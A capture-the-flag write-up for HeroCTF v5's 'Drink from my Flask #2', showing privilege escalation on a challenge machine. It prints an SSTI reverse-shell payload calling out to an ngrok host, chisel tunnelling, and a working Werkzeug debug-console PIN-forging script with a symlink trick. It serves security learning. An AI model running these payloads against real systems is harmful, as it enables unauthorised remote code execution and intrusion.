Drink from my Flask#2
Table of Contents
Overview
- 25 solves / 475 points
- Difficulty: Hard
- Overall difficulty for me (From 1-10 stars): ★★★★★★★★☆☆
Background
Great job, you got acces to the machine ! But our dev has been working on an update. Can you leverage that to elevate your privileges ?
Format : Hero{flag}
Author : Log_s
NB: This challenge is a sequel to Drink from my Flask #1. Start the same machine and continue from there.
Enumeration
Remote Code Execute (RCE) via Server-Side Template Injection (SSTI) payload from “Drink from my Flask#1”: (Writeup: https://siunam321.github.io/ctf/HeroCTF-v5/Web/Drink-from-my-Flask-1/)
- Setup a port forwarding service like Ngrok:
┌[siunam♥earth]-(~/ctf/HeroCTF-v5/System/Drink-from-my-Flask#2)-[2023.05.13|22:13:16(HKT)]
└> ngrok tcp 4444
[...]
Forwarding tcp://0.tcp.ap.ngrok.io:15516 -> localhost:4444
[...]
- Setup a
nc
listener:
┌[siunam♥earth]-(~/ctf/HeroCTF-v5/System/Drink-from-my-Flask#2)-[2023.05.13|22:19:07(HKT)]
└> nc -lnvp 4444
listening on [any] 4444 ...
- Send the reverse shell payload:
\{\{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen(\"python3 -c 'import os,pty,socket;s=socket.socket();s.connect((\\\"0.tcp.ap.ngrok.io\\\",15516));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn(\\\"/bin/bash\\\")'\").read() \}\}
┌[siunam♥earth]-(~/ctf/HeroCTF-v5/System/Drink-from-my-Flask#2)-[2023.05.13|22:28:03(HKT)]
└> nc -lnvp 4444
listening on [any] 4444 ...
connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 47154
www-data@flask:~/app$ whoami;hostname;id
whoami;hostname;id
www-data
flask
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@flask:~/app$
I’m www-data
!
Now, let’s enumerate the system!
System users:
www-data@flask:~/app$ cat /etc/passwd | grep /bin/bash
cat /etc/passwd | grep /bin/bash
root:x:0:0:root:/root:/bin/bash
flaskdev:x:1000:1000:,,,:/home/flaskdev:/bin/bash
www-data@flask:~/app$ ls -lah /home
ls -lah /home
total 12K
drwxr-xr-x 1 root root 4.0K May 13 03:17 .
drwxr-xr-x 1 root root 4.0K May 13 14:13 ..
drwxr-xr-x 1 flaskdev flaskdev 4.0K May 13 03:17 flaskdev
- System user:
flaskdev
Let’s dig deeper into that user!
www-data@flask:~/app$ ls -lah /home/flaskdev/
ls -lah /home/flaskdev/
total 28K
drwxr-xr-x 1 flaskdev flaskdev 4.0K May 13 03:17 .
drwxr-xr-x 1 root root 4.0K May 13 03:17 ..
lrwxrwxrwx 1 root root 9 May 13 03:17 .bash_history -> /dev/null
-rw-r--r-- 1 flaskdev flaskdev 220 May 13 03:17 .bash_logout
-rw-r--r-- 1 flaskdev flaskdev 3.7K May 13 03:17 .bashrc
-rw-r--r-- 1 flaskdev flaskdev 807 May 13 03:17 .profile
-r-------- 1 flaskdev flaskdev 31 May 13 03:17 flag.txt
-rwxr-xr-x 1 root root 219 May 12 10:17 reboot_flask.sh
In that user’s home directory, it has flag.txt
, reboot_flask.sh
.
reboot_flask.sh
:
if [ `ps -aux | grep -E ".*/usr/bin/python3 /var/www/dev/app.py" | wc -l` != "2" ]
then
pkill python3 -U 1000
/usr/bin/python3 /var/www/dev/app.py # This dev app is not exposed, it's ok to run it as myself
fi
This script will check the process of /var/www/dev/app.py
is running or not.
If it’s not running, then kill it’s process and run /usr/bin/python3 /var/www/dev/app.py
.
/var/www/dev/app.py
:
from flask import Flask, Request, Response, make_response
from flask import request, render_template_string
import argparse
import jwt
import werkzeug
parser = argparse.ArgumentParser()
parser.add_argument("--port", help="Port on which to run the server", required=False, type=int, default=5000)
app = Flask(__name__)
class middleware():
def __init__(self, app):
self.app = app
def __call__(self, environ, start_response):
request = Request(environ)
# Check for potential payloads in GET params
for key, value in request.args.items():
if len(value) > 50:
res = Response(u'Anormaly long payload', mimetype= 'text/plain', status=400)
return res(environ, start_response)
# Check for potential payloads in route
if len(request.path) > 50:
res = Response(u'Anormaly long payload', mimetype= 'text/plain', status=400)
return res(environ, start_response)
return self.app(environ, start_response)
app.wsgi_app = middleware(app.wsgi_app)
def add(a, b):
return a + b
def substract(a, b):
return a - b
def multiply(a, b):
return a * b
def divide(a, b):
if b < 0:
return "Error: Division by zero"
return a / b
operations = {
"add": add,
"substract": substract,
"multiply": multiply,
"divide": divide
}
def generateGuestToken():
return jwt.encode({"role": "guest"}, key="key", algorithm="HS256")
@app.route("/")
def calculate():
token = request.cookies.get('token')
if token is None:
token = generateGuestToken()
try:
decodedToken = jwt.decode(token, key="key", algorithms=["HS256"])
decodedToken.get('role')
except:
token = generateGuestToken()
# Check if operation is valid to avoid crashes !
op = request.args.get('op')
if op not in ["add", "substract", "multiply", "divide"]:
resp = make_response("<h2>Invalid operation</h2><br><p>Example: /?op=substract&n1=5&n2=2</p>")
resp.set_cookie('token', token)
return resp
n1 = request.args.get('n1')
n2 = request.args.get('n2')
# Check if n1 and n2 are numbers, and prevent crashes ahah !
try:
n1 = int(n1)
n2 = int(n2)
except:
return "<h2>Invalid number</h2>"
result = operations[op](n1, n2)
resp = make_response(render_template_string(render_template_string("""
<h2>Result: </h2>
""", result=result)))
resp.set_cookie('token', token)
return resp
@app.route("/adminPage")
def admin():
# Get JWT token from cookies
token = request.cookies.get('token')
# Decode JWT token
try:
decodedToken = jwt.decode(token, key="key", algorithms=["HS256"])
except:
return render_template_string("<h2>Invalid token</h2>"), 403
# Get role
role = decodedToken.get('role')
if role is None:
return render_template_string("<h2>Invalid token</h2>"), 403
if role == "admin":
return render_template_string("Welcome admin !"), 200
return render_template_string("Sorry but you can't access this page, you're a '{role}'", role=role), 403
@app.errorhandler(werkzeug.exceptions.BadRequest)
def handle_page_not_found(e):
return render_template_string("<h2>{page} was not found</h2><br><p>Only routes / and /adminPage are available</p>", page=request.path), 404
app.register_error_handler(404, handle_page_not_found)
app.run(debug=True, use_debugger=True, use_reloader=False, host="0.0.0.0", port=parser.parse_args().port)
Since I want a stable shell and transfering files between my VM and the instance machine, I’ll switch to pwncat-cs
:
┌[siunam♥earth]-(~/ctf/HeroCTF-v5/System/Drink-from-my-Flask#2)-[2023.05.13|22:49:10(HKT)]
└> pwncat-cs -lp 4444
/home/siunam/.local/lib/python3.11/site-packages/paramiko/transport.py:178: CryptographyDeprecationWarning: Blowfish has been deprecated
'class': algorithms.Blowfish,
[22:49:11] Welcome to pwncat 🐈! __main__.py:164
[22:50:01] received connection from 127.0.0.1:35986 bind.py:84
[22:50:05] localhost:35986: registered new host w/ db manager.py:957
(local) pwncat$
(remote) www-data@flask:/var/www/app$ whoami;hostname;id
www-data
flask
uid=33(www-data) gid=33(www-data) groups=33(www-data)
(remote) www-data@flask:/var/www/app$
Now, we can upload the pspy
binary, which list out all the running processes:
(local) pwncat$ upload /opt/pspy/pspy64 /tmp/pspy64
/tmp/pspy64 ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 100.0% • 3.1/3.1 MB • 3.5 MB/s • 0:00:00
[22:52:14] uploaded 3.08MiB in 5.77 seconds upload.py:76
(local) pwncat$
(remote) www-data@flask:/var/www/app$ chmod +x /tmp/pspy64
(remote) www-data@flask:/var/www/app$ /tmp/pspy64
[...]
2023/05/13 14:53:01 CMD: UID=0 PID=496 | CRON -f
2023/05/13 14:53:01 CMD: UID=0 PID=497 | CRON -f
2023/05/13 14:53:01 CMD: UID=1000 PID=498 | /bin/sh /home/flaskdev/reboot_flask.sh
2023/05/13 14:53:01 CMD: UID=1000 PID=501 | grep -E .*/usr/bin/python3 /var/www/dev/app.py
2023/05/13 14:53:01 CMD: UID=1000 PID=500 | ps -aux
2023/05/13 14:53:01 CMD: UID=1000 PID=499 | /bin/sh /home/flaskdev/reboot_flask.sh
2023/05/13 14:53:01 CMD: UID=1000 PID=502 | wc -l
2023/05/13 14:54:01 CMD: UID=0 PID=503 | CRON -f
2023/05/13 14:54:01 CMD: UID=1000 PID=504 | CRON -f
2023/05/13 14:54:01 CMD: UID=1000 PID=505 | /bin/sh /home/flaskdev/reboot_flask.sh
2023/05/13 14:54:01 CMD: UID=1000 PID=506 | /bin/sh /home/flaskdev/reboot_flask.sh
2023/05/13 14:54:01 CMD: UID=1000 PID=509 | wc -l
2023/05/13 14:54:01 CMD: UID=1000 PID=508 | grep -E .*/usr/bin/python3 /var/www/dev/app.py
2023/05/13 14:54:01 CMD: UID=1000 PID=507 | ps -aux
As you can see, every minute a cronjob will be ran, which executes /bin/sh /home/flaskdev/reboot_flask.sh
.
Now, which port is the development version of the web application is running?
Since netstat
, ss
doesn’t exist on the instance machine, I’ll upload netstat
to there:
(local) pwncat$ upload /usr/bin/netstat /tmp/netstat
/tmp/netstat ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 100.0% • 155.3/155.3 KB • ? • 0:00:00
[22:55:37] uploaded 155.30KiB in 2.91 seconds upload.py:76
(local) pwncat$
(remote) www-data@flask:/var/www/app$ chmod +x /tmp/netstat
(remote) www-data@flask:/var/www/app$ /tmp/netstat -tunlp
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN 9/python3
tcp 0 0 0.0.0.0:5000 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.11:41449 0.0.0.0:* LISTEN -
udp 0 0 127.0.0.11:47134 0.0.0.0:* -
As you can see, the development one is running on port 5000.
(remote) www-data@flask:/var/www/app$ curl http://localhost:5000/
<h2>Invalid operation</h2><br><p>Example: /?op=substract&n1=5&n2=2</p>
Let’s compare the production one and the development one:
┌[siunam♥earth]-(~/ctf/HeroCTF-v5/System/Drink-from-my-Flask#2)-[2023.05.13|23:02:30(HKT)]
└> diff dev_app.py prod_app.py
24c24
< if len(value) > 50:
---
> if len(value) > 35: # 40 would be enough, but you never know, hein poda
29c29
< if len(request.path) > 50:
---
> if len(request.path) > 35:
117c117
< return render_template_string("Sorry but you can't access this page, you're a '{role}'", role=role), 403
---
> return render_template_string("Sorry but you can't access this page, you're a '{}'".format(role)), 403
122c122,123
< return render_template_string("<h2>{page} was not found</h2><br><p>Only routes / and /adminPage are available</p>", page=request.path), 404
---
> html = "<h2>{page} was not found</h2><br><p>Only routes / and /adminPage are available</p>".format(page=request.path)
> return render_template_string(html), 404
127c128
< app.run(debug=True, use_debugger=True, use_reloader=False, host="0.0.0.0", port=parser.parse_args().port)
\ No newline at end of file
---
> app.run(host="0.0.0.0", port=parser.parse_args().port, debug=False, use_reloader=False)
\ No newline at end of file
In the production one’s SSTI exploit, it’s fixed on the /adminPage
, as the role
will just render {role}
.
(remote) www-data@flask:/var/www/app$ curl -i -s -k -X $'GET' \
> -H $'Host: localhost:5000' -H $'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0' -H $'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8' -H $'Accept-Language: en-US,en;q=0.5' -H $'Accept-Encoding: gzip, deflate' -H $'Connection: close' -H $'Upgrade-Insecure-Requests: 1' \
> -b $'token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJyb2xlIjoie3sgc2VsZi5fVGVtcGxhdGVSZWZlcmVuY2VfX2NvbnRleHQuY3ljbGVyLl9faW5pdF9fLl9fZ2xvYmFsc19fLm9zLnBvcGVuKCdpZCcpLnJlYWQoKSB9fSJ9.Ex_wow2iHjH97TNLAr0V-iO25-bnWc-prB3Bkw-KMDw' \
> $'http://localhost:5000/adminPage'
HTTP/1.1 403 FORBIDDEN
Server: Werkzeug/2.3.4 Python/3.10.6
Date: Sat, 13 May 2023 15:09:54 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 55
Connection: close
Sorry but you can't access this page, you're a '{role}'
To access the development one, we must need to do port forwarding.
To do so, I’ll use chisel
:
(local) pwncat$ upload /opt/chisel/chiselx64
./chiselx64 ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 100.0% • 8.1/8.1 MB • 3.3 MB/s • 0:00:00
[23:30:16] uploaded 8.08MiB in 9.85 seconds upload.py:76
(local) pwncat$
(remote) www-data@flask:/tmp$ chmod +x chiselx64
Reverse port fowarding in server:
┌[siunam♥earth]-(/opt/chisel)-[2023.05.13|23:33:20(HKT)]
└> ./chiselx64 server -p 4444 --reverse
2023/05/13 23:33:23 server: Reverse tunnelling enabled
2023/05/13 23:33:23 server: Fingerprint e64LBwv+C0Ou8eG0p91ZpOmnV58zy7yJQ+QVSwfpDgI=
2023/05/13 23:33:23 server: Listening on http://0.0.0.0:4444
Connect to the server from the client:
(remote) www-data@flask:/tmp$ ./chiselx64 client 0.tcp.ap.ngrok.io:18937 R:5001:127.0.0.1:5000&
[1] 106
2023/05/13 15:47:59 client: Connecting to ws://0.tcp.ap.ngrok.io:18937
Now we can visit the development one in localhost:5001
:
After some testing, the 404 and admin page doesn’t vulnerable to SSTI anymore:
Hmm… How can we escalate our privilege to user flaskdev
…
In the development one, the debug
mode is set to True
!
In Flask, if debug mode is enabled, anyone can go to /console
!
This console page can execute any Python code!!
Although it’s being locked by the PIN code, we can bypass that!
In KnightCTF 2023, I wrote a writeup for a web challenge called “Knight Search”: https://siunam321.github.io/ctf/KnightCTF-2023/Web-API/Knight-Search/.
In that writeup, I mentioned how to bypass the PIN code.
Boot ID:
(remote) www-data@flask:/tmp$ cat /etc/machine-id
68f432c96a6d45f585a019af1ad31fc2
MAC address:
(remote) www-data@flask:/tmp$ cat /sys/class/net/eth0/address
02:42:0a:63:64:02
Final public and private bits:
- Public bits:
- username:
flaskdev
- modname:
flask.app
Flask
- The absolute path of
app.py
in the flask directory:/usr/local/lib/python3.10/dist-packages/flask/app.py
(You can find this by triggeringZeroDivisionError
via/?op=divide&n1=0&n2=0
)
- username:
- Private bits:
- MAC address:
2482665382914
- Machine ID:
68f432c96a6d45f585a019af1ad31fc2
- MAC address:
#!/bin/python3
import hashlib
from itertools import chain
probably_public_bits = [
'flaskdev',# username
'flask.app',# modname
'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
'/usr/local/lib/python3.10/dist-packages/flask/app.py' # getattr(mod, '__file__', None),
]
private_bits = [
'2482665382914',# str(uuid.getnode()), /sys/class/net/ens33/address
# Machine Id: /etc/machine-id + /proc/sys/kernel/random/boot_id + /proc/self/cgroup
'68f432c96a6d45f585a019af1ad31fc2'
]
h = hashlib.sha1() # Newer versions of Werkzeug use SHA1 instead of MD5
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
cookie_name = '__wzd' + h.hexdigest()[:20]
num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv = None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num
print("Pin: " + rv)
However, it still doesn’t work…
In /var/www
, I noticed something weird:
(remote) www-data@flask:/var/www$ ls -lah
total 20K
drwxr-xr-x 1 root root 4.0K May 13 03:17 .
drwxr-xr-x 1 root root 4.0K May 13 03:17 ..
drwxr-xr-x 1 root root 4.0K May 13 03:17 app
drwxrwxrwx 1 root root 4.0K May 13 03:17 config
drwxr-xr-x 1 root root 4.0K May 13 03:17 dev
The config
directory is world-writable/readable/executable.
(remote) www-data@flask:/var/www$ ls -lah config/
total 8.0K
drwxrwxrwx 1 root root 4.0K May 13 03:17 .
drwxr-xr-x 1 root root 4.0K May 13 03:17 ..
lrwxrwxrwx 1 root root 12 May 13 03:17 urandom -> /dev/urandom
Inside that directory, it has a symbolic link (symlink) file pointing to /dev/urandom
.
What can we do with that…
Exploitation
Then, I opened a ticket just to confirm the Werkzeug Debug Console is the right track or not:
So, 100% sure it’s about Werkzeug Debug Console PIN code bypass…
Hmm… Let’s read through the generating PIN code source code:
(remote) www-data@flask:/var/www/app$
(local) pwncat$ download /usr/local/lib/python3.10/dist-packages/werkzeug/debug/__init__.py
Then, around reading through it…
private_bits = [
str(uuid.getnode()),
get_machine_id(),
open("/var/www/config/urandom", "rb").read(16) # ADDING EXTRA SECURITY TO PREVENT PIN FORGING
]
/var/www/config/urandom
????
That makes a lot more sense why the symlink urandom
file exists!
The above modifiied private_bits
not only getting the MAC address of the machine and machine ID, but also 16 bytes from /var/www/config/urandom
!
Now, since the directory /var/www/config/
is world-writable, we can just modify it!
(remote) www-data@flask:/var/www/app$ cd /var/www/config/
(remote) www-data@flask:/var/www/config$ mv urandom urandom.bak
(remote) www-data@flask:/var/www/config$ vi urandom
(remote) www-data@flask:/var/www/config$ cat urandom
AAAAAAAAAAAAAAAA
The modified /var/www/config/urandom
now consists 16’s A character!
Now, the correct private bits is!
private_bits = [
'2482665383426',# str(uuid.getnode()), /sys/class/net/ens33/address
# Machine Id: /etc/machine-id + /proc/sys/kernel/random/boot_id + /proc/self/cgroup
'97752bf5a62a4e9588a4aa4ccf85660f',
'AAAAAAAAAAAAAAAA'
]
Note: The MAC address and machine ID is changed because of different instance machine.
┌[siunam♥earth]-(~/ctf/HeroCTF-v5/System/Drink-from-my-Flask#2)-[2023.05.14|20:51:07(HKT)]
└> python3 werkzeug-pin-bypass.py
Pin: 103-934-238
Fingers crossed!
Let’s go!!!
We can now read user flaskdev
’s flag!
import os
os.popen('id').read()
os.popen('cat /home/flaskdev/flag.txt').read()
- Flag:
Hero{n0t_s0_Urandom_4ft3r_4ll}
Conclusion
What we’ve learned:
- Werkzeug Debug Console PIN Code Bypass With Extra Hardening
- Horizontal Privilege Escalation Via Werkzeug Debug Console